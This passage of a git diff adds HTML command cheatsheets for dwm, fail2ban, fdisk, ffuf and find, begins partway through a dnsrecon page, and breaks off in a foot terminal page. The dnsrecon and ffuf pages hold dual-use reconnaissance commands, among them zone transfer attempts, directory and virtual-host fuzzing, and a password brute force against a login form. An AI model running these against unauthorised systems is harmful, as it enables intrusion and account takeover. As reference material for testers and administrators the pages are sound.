Reverse DNS lookup on IP range.

+

SRV Record Enumeration

+
dnsrecon -d example.com -t srv
+

Enumerate SRV records.

+

Full Enumeration

+
dnsrecon -d example.com -a -s -g -w
+

Standard enum with AXFR, SPF, Google, and Whois.

+

DNSSEC Zone Walk

+
dnsrecon -d example.com -z
+

Enumerate via DNSSEC zone walking.

+

Save to JSON

+
dnsrecon -d example.com -j output.json
+

Save results to JSON file.

+

Custom Name Server

+
dnsrecon -d example.com -n 8.8.8.8
+

Use specific DNS resolver.

+
+

Tips

+
    +
  • Always try zone transfer (-t axfr) first
  • +
+
    +
  • Use -a with standard enum to include AXFR attempt
  • +
+
    +
  • Combine with other tools like amass for better coverage
  • +
+
    +
  • Save results to JSON for easy parsing
  • +
+
    +
  • DNSSEC zone walk can reveal records even when AXFR is blocked
  • +
+
    +
  • Use --threads to speed up brute forcing
  • +
+
    +
  • Check SRV records for internal services
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/dwm.html b/cheatsheets/dwm.html new file mode 100644 index 0000000..3a91c44 --- /dev/null +++ b/cheatsheets/dwm.html @@ -0,0 +1,257 @@ + + + + + + + + + + + dwm Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

dwm Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

dwm (Dynamic Window Manager) is a minimal, tiling window manager for X11.

+
+

Application Launch

+
    +
  • Mod+Return - Launch terminal
  • +
+
    +
  • Mod+Shift+Return - Launch terminal (swap with master)
  • +
+
    +
  • Mod+P - Launch dmenu (application launcher)
  • +
+
    +
  • Mod+Shift+P - Launch dmenu (alternative)
  • +
+
+

Window Management

+
    +
  • Mod+C - Close focused window
  • +
+
    +
  • Mod+Shift+C - Close window (alternative)
  • +
+
    +
  • Mod+M - Toggle monocle (fullscreen)
  • +
+
    +
  • Mod+F - Toggle floating
  • +
+
    +
  • Mod+T - Toggle tiled layout
  • +
+
    +
  • Mod+Space - Zoom (swap focused with master)
  • +
+
    +
  • Mod+Shift+Space - Toggle floating
  • +
+
+

Window Navigation

+
    +
  • Mod+J - Focus next window
  • +
+
    +
  • Mod+K - Focus previous window
  • +
+
    +
  • Mod+Tab - Focus next window
  • +
+
    +
  • Mod+Shift+Tab - Focus previous window
  • +
+
    +
  • Mod+H - Focus stack (backward)
  • +
+
    +
  • Mod+L - Focus stack (forward)
  • +
+
+

Window Resizing

+
    +
  • Mod+H - Decrease master area size
  • +
+
    +
  • Mod+L - Increase master area size
  • +
+
    +
  • Mod+Shift+H - Decrease number of master windows
  • +
+
    +
  • Mod+Shift+L - Increase number of master windows
  • +
+
    +
  • Mod+I - Increase number of windows in master area
  • +
+
    +
  • Mod+D - Decrease number of windows in master area
  • +
+
+

Window Movement

+
    +
  • Mod+Shift+J - Move window down in stack
  • +
+
    +
  • Mod+Shift+K - Move window up in stack
  • +
+
    +
  • Mod+Shift+H - Move window to master area
  • +
+
    +
  • Mod+Shift+L - Move window to stack area
  • +
+
+

Tags (Workspaces)

+
    +
  • Mod+1-9 - View tag
  • +
+
    +
  • Mod+Shift+1-9 - Move window to tag
  • +
+
    +
  • Mod+Ctrl+1-9 - Toggle tag view
  • +
+
    +
  • Mod+0 - View all tags
  • +
+
    +
  • Mod+Shift+0 - Make window appear on all tags
  • +
+
+

Layouts

+
    +
  • Mod+T - Tiled layout
  • +
+
    +
  • Mod+Shift+T - Tiled layout (alternative)
  • +
+
    +
  • Mod+M - Monocle layout (fullscreen)
  • +
+
    +
  • Mod+F - Floating layout
  • +
+
    +
  • Mod+Shift+F - Floating layout (alternative)
  • +
+
+

System

+
    +
  • Mod+Shift+Q - Quit dwm
  • +
+
    +
  • Mod+B - Toggle status bar
  • +
+
    +
  • Mod+Shift+B - Toggle status bar (alternative)
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.config/dwm/config.h (source config)
  • +
+
    +
  • config.def.h in dwm source directory
  • +
+
    +
  • Must recompile after changes
  • +
+

Example Key Bindings

+

Customize in config.h:

+
static Key keys[] = {
+    /* modifier                     key        function        argument */
+    { MODKEY,                       XK_Return, spawn,          {.v = termcmd } },
+    { MODKEY|ShiftMask,             XK_Return, spawn,          {.v = termcmd } },
+    { MODKEY,                       XK_p,      spawn,          {.v = dmenucmd } },
+    { MODKEY,                       XK_j,      focusstack,     {.i = +1 } },
+    { MODKEY,                       XK_k,      focusstack,     {.i = -1 } },
+    { MODKEY,                       XK_h,      setmfact,       {.f = -0.05} },
+    { MODKEY,                       XK_l,      setmfact,       {.f = +0.05} },
+    { MODKEY,                       XK_space,  zoom,           {0} },
+    { MODKEY|ShiftMask,             XK_c,      killclient,     {0} },
+    { MODKEY,                       XK_t,      setlayout,      {.v = &layouts[0]} },
+    { MODKEY,                       XK_f,      setlayout,      {.v = &layouts[1]} },
+    { MODKEY,                       XK_m,      setlayout,      {.v = &layouts[2]} },
+    { MODKEY,                       XK_1,      view,           {.ui = 1 << 0} },
+    { MODKEY|ShiftMask,             XK_1,      tag,            {.ui = 1 << 0} },
+};
+

Change Modifier Key

+
#define MODKEY Mod1Mask  // Alt key
+// or
+#define MODKEY Mod4Mask  // Super/Windows key
+
+

Tips

+
    +
  • MODKEY is Mod1Mask (Alt) by default, often changed to Mod4Mask (Super)
  • +
+
    +
  • Tags act like workspaces - windows can be on multiple tags
  • +
+
    +
  • Layouts: tiled, floating, monocle (fullscreen)
  • +
+
    +
  • Must recompile dwm after config changes
  • +
+
    +
  • Use patches to extend functionality
  • +
+
    +
  • Status bar shows tags, layout, window title
  • +
+
    +
  • Very minimal - everything configured in source code
  • +
+
    +
  • Use dmenu for application launching
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/fail2ban.html b/cheatsheets/fail2ban.html new file mode 100644 index 0000000..bca4061 --- /dev/null +++ b/cheatsheets/fail2ban.html @@ -0,0 +1,470 @@ + + + + + + + + + + + fail2ban Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

fail2ban Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

fail2ban scans log files and bans IP addresses that show malicious signs (multiple failed login attempts, vulnerability scans, etc.). It can automatically update firewall rules to reject IP addresses for a specified amount of time.

+
+

Service Management

+
    +
  • systemctl start fail2ban - Start fail2ban service
  • +
+
    +
  • systemctl stop fail2ban - Stop fail2ban service
  • +
+
    +
  • systemctl restart fail2ban - Restart fail2ban service
  • +
+
    +
  • systemctl status fail2ban - Check service status
  • +
+
    +
  • systemctl enable fail2ban - Enable fail2ban at boot
  • +
+
    +
  • systemctl reload fail2ban - Reload configuration without restart
  • +
+
+

Viewing Status

+
    +
  • fail2ban-client status - Show all active jails
  • +
+
    +
  • fail2ban-client status sshd - Show status of specific jail
  • +
+
    +
  • fail2ban-client status sshd -v - Verbose status output
  • +
+
    +
  • fail2ban-client get logpath - Get log path for jail
  • +
+
    +
  • fail2ban-client get findtime - Get findtime value
  • +
+
    +
  • fail2ban-client get bantime - Get ban time value
  • +
+
    +
  • fail2ban-client get maxretry - Get max retry value
  • +
+
+

Ban Management

+
    +
  • fail2ban-client set banip - Manually ban an IP
  • +
+
    +
  • fail2ban-client set unbanip - Unban an IP address
  • +
+
    +
  • fail2ban-client set unbanip all - Unban all IPs in a jail
  • +
+
    +
  • fail2ban-client unban --all - Unban all IPs from all jails
  • +
+
    +
  • fail2ban-client set sshd getbanned - List banned IPs for jail
  • +
+
    +
  • fail2ban-client status sshd | grep "Banned IP" - List banned IPs
  • +
+
+

Configuration Files

+
    +
  • /etc/fail2ban/jail.conf - Main configuration (don't edit directly)
  • +
+
    +
  • /etc/fail2ban/jail.local - Local configuration (override jail.conf)
  • +
+
    +
  • /etc/fail2ban/jail.d/ - Additional jail configurations
  • +
+
    +
  • /etc/fail2ban/filter.d/ - Filter definitions
  • +
+
    +
  • /etc/fail2ban/action.d/ - Action scripts (ban/unban commands)
  • +
+
    +
  • /etc/fail2ban/fail2ban.local - fail2ban daemon configuration
  • +
+
    +
  • /var/log/fail2ban.log - fail2ban log file
  • +
+
+

Common Jails

+
    +
  • sshd - SSH server
  • +
+
    +
  • apache-auth - Apache authentication failures
  • +
+
    +
  • apache-badbots - Apache bad bots
  • +
+
    +
  • apache-noscript - Apache script injection attempts
  • +
+
    +
  • apache-overflows - Apache buffer overflow attempts
  • +
+
    +
  • nginx-http-auth - Nginx HTTP authentication
  • +
+
    +
  • nginx-limit-req - Nginx rate limiting
  • +
+
    +
  • postfix - Postfix mail server
  • +
+
    +
  • dovecot - Dovecot IMAP/POP3
  • +
+
    +
  • vsftpd - FTP server
  • +
+
    +
  • mysqld-auth - MySQL authentication
  • +
+
+

Jail Configuration Example

+
[sshd]
+enabled = true
+port = ssh
+filter = sshd
+logpath = /var/log/auth.log
+maxretry = 5
+findtime = 600
+bantime = 3600
+action = iptables[name=SSH, port=ssh, protocol=tcp]
+

Configuration Options

+
    +
  • enabled - Enable/disable jail (true/false)
  • +
+
    +
  • port - Port(s) to ban (ssh, http, 22, 80,443, 22:25)
  • +
+
    +
  • filter - Filter name (in /etc/fail2ban/filter.d/)
  • +
+
    +
  • logpath - Log file path to monitor
  • +
+
    +
  • maxretry - Maximum number of failures before ban
  • +
+
    +
  • findtime - Time window in seconds to count failures
  • +
+
    +
  • bantime - Duration of ban in seconds (-1 = permanent)
  • +
+
    +
  • action - Action to take when banning (default: iptables)
  • +
+
    +
  • ignoreip - IP addresses/networks to never ban
  • +
+
    +
  • ignorecommand - Command to check if IP should be ignored
  • +
+
+

Creating Custom Jails

+

/etc/fail2ban/jail.local

+
[DEFAULT]
+# Default ban time (10 minutes)
+bantime = 600
+
+# Time window to count failures (10 minutes)
+findtime = 600
+
+# Maximum failures before ban
+maxretry = 5
+
+# IPs/networks to never ban
+ignoreip = 127.0.0.1/8 ::1 192.168.1.0/24
+
+# Email notifications (optional)
+destemail = admin@example.com
+sendername = Fail2Ban
+action = %(action_mwl)s
+
+[sshd]
+enabled = true
+port = ssh
+filter = sshd
+logpath = /var/log/auth.log
+maxretry = 3
+bantime = 7200
+
+[custom-web]
+enabled = true
+port = http,https
+filter = custom-web
+logpath = /var/log/nginx/access.log
+maxretry = 10
+findtime = 300
+bantime = 3600
+
+

Creating Custom Filters

+

/etc/fail2ban/filter.d/custom-web.conf

+
[Definition]
+# Failregex - patterns that indicate a failed attempt
+failregex = ^<HOST>.*"GET /wp-admin.*" 404
+            ^<HOST>.*"POST /xmlrpc.php.*" 200
+            ^<HOST>.*"GET /administrator.*" 404
+
+# Ignore regex - patterns to ignore
+ignoreregex =
+

Testing Filters

+
# Test filter against log file
+fail2ban-regex /var/log/auth.log /etc/fail2ban/filter.d/sshd.conf
+
+# Test with verbose output
+fail2ban-regex /var/log/auth.log /etc/fail2ban/filter.d/sshd.conf -v
+
+# Test custom filter
+fail2ban-regex /var/log/nginx/access.log /etc/fail2ban/filter.d/custom-web.conf
+
+

Actions

+
    +
  • iptables - Use iptables for banning (default)
  • +
+
    +
  • iptables-multiport - Ban multiple ports
  • +
+
    +
  • iptables-allports - Ban all ports
  • +
+
    +
  • iptables-new - Use iptables with new chain (recommended)
  • +
+
    +
  • ipset - Use ipset for efficient IP management
  • +
+
    +
  • ipset-multiport - ipset with multiple ports
  • +
+
    +
  • nftables - Use nftables (new firewall backend)
  • +
+
    +
  • sendmail - Send email notifications
  • +
+
    +
  • mail-whois - Send email with whois information
  • +
+
    +
  • action_mwl - Mail with whois and log lines
  • +
+
    +
  • action_bspam - Ban and report to spamhaus
  • +
+
+

Advanced Configuration

+

Email Notifications

+
[DEFAULT]
+destemail = admin@example.com
+sendername = Fail2Ban-Alerts
+sender = fail2ban@example.com
+mta = sendmail
+action = %(action_mwl)s
+

Using ipset (Better Performance)

+
[sshd]
+action = iptables-ipset-proto6[name=SSH, port=ssh, protocol=tcp, chain=INPUT]
+         iptables-ipset-proto4[name=SSH, port=ssh, protocol=tcp, chain=INPUT]
+

Multiple Ports

+
[web-ports]
+enabled = true
+port = http,https,8080,8443
+filter = apache-auth
+logpath = /var/log/apache2/*error.log
+maxretry = 5
+
+

Managing Jails

+
    +
  • fail2ban-client start - Start fail2ban
  • +
+
    +
  • fail2ban-client stop - Stop fail2ban
  • +
+
    +
  • fail2ban-client reload - Reload configuration
  • +
+
    +
  • fail2ban-client reload - Reload specific jail
  • +
+
    +
  • fail2ban-client start - Start specific jail
  • +
+
    +
  • fail2ban-client stop - Stop specific jail
  • +
+
    +
  • fail2ban-client restart - Restart specific jail
  • +
+
+

Logging and Monitoring

+
    +
  • tail -f /var/log/fail2ban.log - Monitor fail2ban log
  • +
+
    +
  • grep "Ban\|Unban" /var/log/fail2ban.log - View ban/unban events
  • +
+
    +
  • fail2ban-client get logencoding - Check log encoding
  • +
+
    +
  • fail2ban-client -d - Debug mode (run in foreground)
  • +
+
+

Useful Commands

+
    +
  • fail2ban-client ping - Test if fail2ban is responding
  • +
+
    +
  • fail2ban-client version - Show version
  • +
+
    +
  • fail2ban-regex --help - Help for regex testing
  • +
+
    +
  • iptables -L -n | grep f2b- - List fail2ban iptables rules
  • +
+
    +
  • ipset list - List all ipsets (if using ipset)
  • +
+
+

Common Use Cases

+

Protect SSH

+
[sshd]
+enabled = true
+port = ssh
+filter = sshd
+logpath = /var/log/auth.log
+maxretry = 3
+bantime = 3600
+ignoreip = 192.168.1.0/24
+

Protect Web Server

+
[apache-auth]
+enabled = true
+port = http,https
+filter = apache-auth
+logpath = /var/log/apache2/*error.log
+maxretry = 3
+
+[apache-badbots]
+enabled = true
+port = http,https
+filter = apache-badbots
+logpath = /var/log/apache2/*access.log
+maxretry = 2
+

Protect MySQL

+
[mysqld-auth]
+enabled = true
+port = 3306
+filter = mysqld-auth
+logpath = /var/log/mysqld.log
+maxretry = 5
+bantime = 7200
+
+

Tips

+
    +
  • Always use jail.local instead of editing jail.conf directly
  • +
+
    +
  • Test filters with fail2ban-regex before enabling jails
  • +
+
    +
  • Add your own IP to ignoreip to avoid getting locked out
  • +
+
    +
  • Use ipset action for better performance with many banned IPs
  • +
+
    +
  • Monitor /var/log/fail2ban.log for issues
  • +
+
    +
  • Set reasonable bantime to avoid permanent locks
  • +
+
    +
  • Adjust maxretry and findtime based on your needs
  • +
+
    +
  • Use action_mwl to get email notifications with context
  • +
+
    +
  • Check iptables rules regularly to ensure bans are working
  • +
+
    +
  • Combine with log monitoring tools for better visibility
  • +
+
    +
  • Document custom filters for future reference
  • +
+
    +
  • Regularly review banned IPs and unban false positives
  • +
+
    +
  • Use fail2ban-client reload to apply config changes without downtime
  • +
+
    +
  • Test configuration changes on a non-production system first
  • +
+
    +
  • Keep fail2ban updated to get latest filters and fixes
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + + diff --git a/cheatsheets/fdisk.html b/cheatsheets/fdisk.html new file mode 100644 index 0000000..1f9e6ac --- /dev/null +++ b/cheatsheets/fdisk.html @@ -0,0 +1,225 @@ + + + + + + + + + + + fdisk Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

fdisk Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

fdisk is a command-line utility for disk partitioning. Used to create, delete, and manage partitions on storage devices.

+
+

Basic Usage

+
    +
  • fdisk -l - List all partitions on all disks
  • +
+
    +
  • fdisk -l /dev/sda - List partitions on specific disk
  • +
+
    +
  • sudo fdisk /dev/sda - Open fdisk for disk (interactive mode)
  • +
+
+

Interactive Commands

+

Once in fdisk (type `m` for menu):

+
    +
  • p - Print partition table
  • +
+
    +
  • n - Create new partition
  • +
+
    +
  • d - Delete partition
  • +
+
    +
  • t - Change partition type
  • +
+
    +
  • w - Write changes and exit
  • +
+
    +
  • q - Quit without saving
  • +
+
    +
  • l - List known partition types
  • +
+
    +
  • v - Verify partition table
  • +
+
    +
  • u - Change units (sectors/cylinders)
  • +
+
    +
  • m - Print menu
  • +
+
    +
  • a - Toggle bootable flag
  • +
+
+

Common Operations

+

Create New Partition

+
    +
  1. `sudo fdisk /dev/sda`
  2. +
  3. `n` - New partition
  4. +
  5. `p` - Primary partition (or `e` for extended)
  6. +
  7. Choose partition number (1-4)
  8. +
  9. Enter first sector (default is fine)
  10. +
  11. Enter last sector or size (e.g., `+10G` for 10GB)
  12. +
  13. `w` - Write changes
  14. +
+

Delete Partition

+
    +
  1. `sudo fdisk /dev/sda`
  2. +
  3. `p` - View partitions
  4. +
  5. `d` - Delete partition
  6. +
  7. Select partition number
  8. +
  9. `w` - Write changes
  10. +
+

Change Partition Type

+
    +
  1. `sudo fdisk /dev/sda`
  2. +
  3. `t` - Change type
  4. +
  5. Select partition
  6. +
  7. Enter type code (e.g., `83` for Linux, `82` for swap)
  8. +
  9. `w` - Write changes
  10. +
+
+

Partition Type Codes

+
    +
  • 82 - Linux swap
  • +
+
    +
  • 83 - Linux filesystem
  • +
+
    +
  • 85 - Linux extended
  • +
+
    +
  • 8e - Linux LVM
  • +
+
    +
  • ef - EFI system partition
  • +
+
    +
  • Use `l` in fdisk to see full list
  • +
+
+

After Partitioning

+

After creating partitions, you may need to:

+
    +
  • `partprobe` - Inform OS of partition table changes
  • +
+
    +
  • `mkfs.ext4 /dev/sda1` - Format partition as ext4
  • +
+
    +
  • `mount /dev/sda1 /mnt` - Mount partition
  • +
+
    +
  • Add to `/etc/fstab` for permanent mounting
  • +
+
+

Related Commands

+
    +
  • `lsblk` - List block devices in tree format
  • +
+
    +
  • `blkid` - Show block device attributes
  • +
+
    +
  • `parted` - Alternative partitioning tool (GPT support)
  • +
+
    +
  • `cfdisk` - Curses-based disk partitioner
  • +
+
    +
  • `gdisk` - GPT fdisk (for GPT partition tables)
  • +
+
+

Configuration

+

Config File Location

+
    +
  • `/etc/fstab` - File system table (mount points)
  • +
+
    +
  • `/proc/partitions` - Current partition information
  • +
+
+

Tips

+
    +
  • Always use `-l` to list first before making changes
  • +
+
    +
  • Write changes (`w`) only when you're sure
  • +
+
    +
  • Use `q` to quit without saving if you make a mistake
  • +
+
    +
  • Backup important data before partitioning
  • +
+
    +
  • Use `partprobe` or reboot after partitioning
  • +
+
    +
  • For GPT disks, use `gdisk` instead of `fdisk`
  • +
+
    +
  • Be very careful - partitioning can destroy data
  • +
+
    +
  • Test changes on non-critical systems first
  • +
+
    +
  • Use `cfdisk` for easier interactive interface
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/ffuf.html b/cheatsheets/ffuf.html new file mode 100644 index 0000000..8185d15 --- /dev/null +++ b/cheatsheets/ffuf.html @@ -0,0 +1,252 @@ + + + + + + + + + + + ffuf Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

ffuf Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

ffuf (Fuzz Faster U Fool) is a fast web fuzzer written in Go. It's highly flexible for directory discovery, parameter fuzzing, virtual host discovery, and more.

+
+

Basic Usage

+
    +
  • ffuf -u <url>/FUZZ -w <wordlist> - Basic directory fuzzing
  • +
+
    +
  • FUZZ keyword marks where wordlist entries are inserted
  • +
+
+

Input Options

+
    +
  • -u - Target URL with FUZZ keyword
  • +
+
    +
  • -w - Wordlist file (can use multiple: -w list1:KEYWORD1 -w list2:KEYWORD2)
  • +
+
    +
  • -X - HTTP method (default GET)
  • +
+
    +
  • -d - POST data
  • +
+
    +
  • -H - Header (can use multiple)
  • +
+
    +
  • -b - Cookie data
  • +
+
+

Matcher Options (Show Results)

+
    +
  • -mc - Match HTTP status codes (default 200,204,301,302,307,401,403,405)
  • +
+
    +
  • -ml - Match response line count
  • +
+
    +
  • -mr - Match regex pattern
  • +
+
    +
  • -ms - Match response size
  • +
+
    +
  • -mw - Match word count
  • +
+
    +
  • -mt - Match response time (milliseconds)
  • +
+
+

Filter Options (Hide Results)

+
    +
  • -fc - Filter HTTP status codes
  • +
+
    +
  • -fl - Filter by line count
  • +
+
    +
  • -fr - Filter by regex
  • +
+
    +
  • -fs - Filter by response size
  • +
+
    +
  • -fw - Filter by word count
  • +
+
    +
  • -ft - Filter by response time
  • +
+
+

Output Options

+
    +
  • -o - Output file
  • +
+
    +
  • -of - Output format (json, ejson, html, md, csv, all)
  • +
+
    +
  • -od - Output directory for matched results
  • +
+
    +
  • -v - Verbose output
  • +
+
    +
  • -s - Silent mode (no banner)
  • +
+
    +
  • -c - Colorize output
  • +
+
+

Performance Options

+
    +
  • -t - Threads (default 40)
  • +
+
    +
  • -p - Delay between requests (seconds, e.g., 0.1)
  • +
+
    +
  • -rate - Requests per second
  • +
+
    +
  • -timeout - Request timeout (default 10)
  • +
+
+

Other Options

+
    +
  • -r - Follow redirects
  • +
+
    +
  • -recursion - Enable recursion
  • +
+
    +
  • -recursion-depth - Max recursion depth
  • +
+
    +
  • -e - Extension list (.php,.html,.txt)
  • +
+
    +
  • -ic - Ignore wordlist comments
  • +
+
    +
  • -ac - Autocalibrate filtering
  • +
+
    +
  • -x - Proxy URL
  • +
+
    +
  • -replay-proxy - Send matches through proxy
  • +
+
+

Common Examples

+

Directory Discovery

+
ffuf -u http://example.com/FUZZ -w wordlist.txt
+

Basic directory brute forcing.

+

With Extensions

+
ffuf -u http://example.com/FUZZ -w wordlist.txt -e .php,.html,.txt
+

Add extensions to each word.

+

Filter by Size

+
ffuf -u http://example.com/FUZZ -w wordlist.txt -fs 4242
+

Hide responses of specific size.

+

POST Parameter Fuzzing

+
ffuf -u http://example.com/login -X POST -d "user=admin&pass=FUZZ" -w passwords.txt
+

Fuzz POST parameters.

+

Header Fuzzing

+
ffuf -u http://example.com -H "X-Custom-Header: FUZZ" -w wordlist.txt
+

Fuzz header values.

+

Virtual Host Discovery

+
ffuf -u http://example.com -H "Host: FUZZ.example.com" -w subdomains.txt -fs 4242
+

Find virtual hosts.

+

GET Parameter Fuzzing

+
ffuf -u "http://example.com/page?id=FUZZ" -w numbers.txt
+

Fuzz GET parameters.

+

Multiple Wordlists

+
ffuf -u http://example.com/FOLDER/FILE -w dirs.txt:FOLDER -w files.txt:FILE
+

Use multiple wordlists with keywords.

+

Autocalibrate

+
ffuf -u http://example.com/FUZZ -w wordlist.txt -ac
+

Automatically calibrate filters.

+

With Proxy

+
ffuf -u http://example.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8080
+

Route through Burp Suite.

+

Rate Limited

+
ffuf -u http://example.com/FUZZ -w wordlist.txt -rate 50
+

Limit to 50 requests/second.

+

Recursive

+
ffuf -u http://example.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2
+

Recurse into found directories.

+
+

Tips

+
    +
  • Use -ac for auto-calibration on unknown targets
  • +
+
    +
  • Filter by size (-fs) when pages return custom 404s
  • +
+
    +
  • Use -replay-proxy to send only matches through Burp
  • +
+
    +
  • Multiple FUZZ keywords enable complex fuzzing
  • +
+
    +
  • Faster than gobuster for most use cases
  • +
+
    +
  • Use -e for extension fuzzing
  • +
+
    +
  • Match on response time (-mt) can find blind vulns
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/find.html b/cheatsheets/find.html new file mode 100644 index 0000000..cce96fd --- /dev/null +++ b/cheatsheets/find.html @@ -0,0 +1,238 @@ + + + + + + + + + + + find Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

find Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

find searches for files and directories in a directory hierarchy. Powerful tool for locating files by name, type, size, modification time, and more.

+
+

Basic Usage

+
    +
  • find /path -name "pattern" - Find by name
  • +
+
    +
  • find . -type f - Find files only
  • +
+
    +
  • find . -type d - Find directories only
  • +
+
    +
  • find . -name "*.txt" - Find by extension
  • +
+
    +
  • find /path -exec command {} \; - Execute command
  • +
+
+

Search by Name

+
    +
  • -name "pattern" - Exact name match
  • +
+
    +
  • -iname "pattern" - Case-insensitive name
  • +
+
    +
  • -path "pattern" - Match path
  • +
+
    +
  • -regex pattern - Regular expression
  • +
+
+

Search by Type

+
    +
  • -type f - Files
  • +
+
    +
  • -type d - Directories
  • +
+
    +
  • -type l - Symbolic links
  • +
+
    +
  • -type b - Block devices
  • +
+
    +
  • -type c - Character devices
  • +
+
    +
  • -type p - Named pipes
  • +
+
    +
  • -type s - Sockets
  • +
+
+

Search by Size

+
    +
  • -size +100M - Larger than 100MB
  • +
+
    +
  • -size -10k - Smaller than 10KB
  • +
+
    +
  • -size 50c - Exactly 50 bytes
  • +
+
    +
  • -empty - Empty files/directories
  • +
+
+

Search by Time

+
    +
  • -mtime -7 - Modified in last 7 days
  • +
+
    +
  • -mtime +30 - Modified more than 30 days ago
  • +
+
    +
  • -atime -1 - Accessed in last 24 hours
  • +
+
    +
  • -ctime -2 - Changed in last 2 days
  • +
+
    +
  • -newer file - Newer than file
  • +
+
    +
  • -amin -60 - Accessed in last 60 minutes
  • +
+
    +
  • -mmin -30 - Modified in last 30 minutes
  • +
+
+

Search by Permissions

+
    +
  • -perm 644 - Exact permissions
  • +
+
    +
  • -perm -u+w - User has write
  • +
+
    +
  • -perm /o+x - Others have execute
  • +
+
    +
  • -user username - Owned by user
  • +
+
    +
  • -group groupname - Owned by group
  • +
+
+

Actions

+
    +
  • -print - Print results (default)
  • +
+
    +
  • -ls - List like ls -dils
  • +
+
    +
  • -delete - Delete found files
  • +
+
    +
  • -exec command {} \; - Execute command
  • +
+
    +
  • -exec command {} + - Execute with multiple files
  • +
+
    +
  • -ok command {} \; - Interactive exec
  • +
+
+

Common Examples

+

Find by Name

+
find . -name "*.txt"
+

Find all .txt files.

+

Find Large Files

+
find / -size +100M
+

Find files larger than 100MB.

+

Find Recent Files

+
find . -mtime -7
+

Files modified in last week.

+

Find and Delete

+
find . -name "*.tmp" -delete
+

Delete all .tmp files.

+

Find and Execute

+
find . -name "*.sh" -exec chmod +x {} \;
+

Make scripts executable.

+

Find Empty Files

+
find . -type f -empty
+

Find empty files.

+

Find by User

+
find /home -user username
+

Find files owned by user.

+

Find Directories

+
find . -type d -name "config"
+

Find directories named config.

+
+

Tips

+
    +
  • Use -name for simple patterns
  • +
+
    +
  • Use -iname for case-insensitive
  • +
+
    +
  • Use -type to filter file types
  • +
+
    +
  • Use -size to find large/small files
  • +
+
    +
  • Use -mtime for time-based searches
  • +
+
    +
  • Be careful with -delete
  • +
+
    +
  • Use -exec for batch operations
  • +
+
    +
  • Essential for file system management
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/foot.html b/cheatsheets/foot.html new file mode 100644 index 0000000..5fcf30e --- /dev/null +++ b/cheatsheets/foot.html @@ -0,0 +1,236 @@ + + + + + + + + + + + foot Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

foot Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

foot is a fast, lightweight and minimalistic Wayland terminal emulator.

+
+

Keyboard Shortcuts

+

Basic Navigation

+
    +
  • Shift+PageUp - Scroll up in history
  • +
+
    +
  • Shift+PageDown - Scroll down in history
  • +
+
    +
  • Ctrl+Shift+C or XF86Copy - Copy selected text to clipboard
  • +
+
    +
  • Ctrl+Shift+V or XF86Paste - Paste from clipboard
  • +
+
    +
  • Shift+Insert - Paste from primary selection
  • +
+

Font Size

+
    +
  • Ctrl++ or Ctrl+= - Increase font size
  • +
+
    +
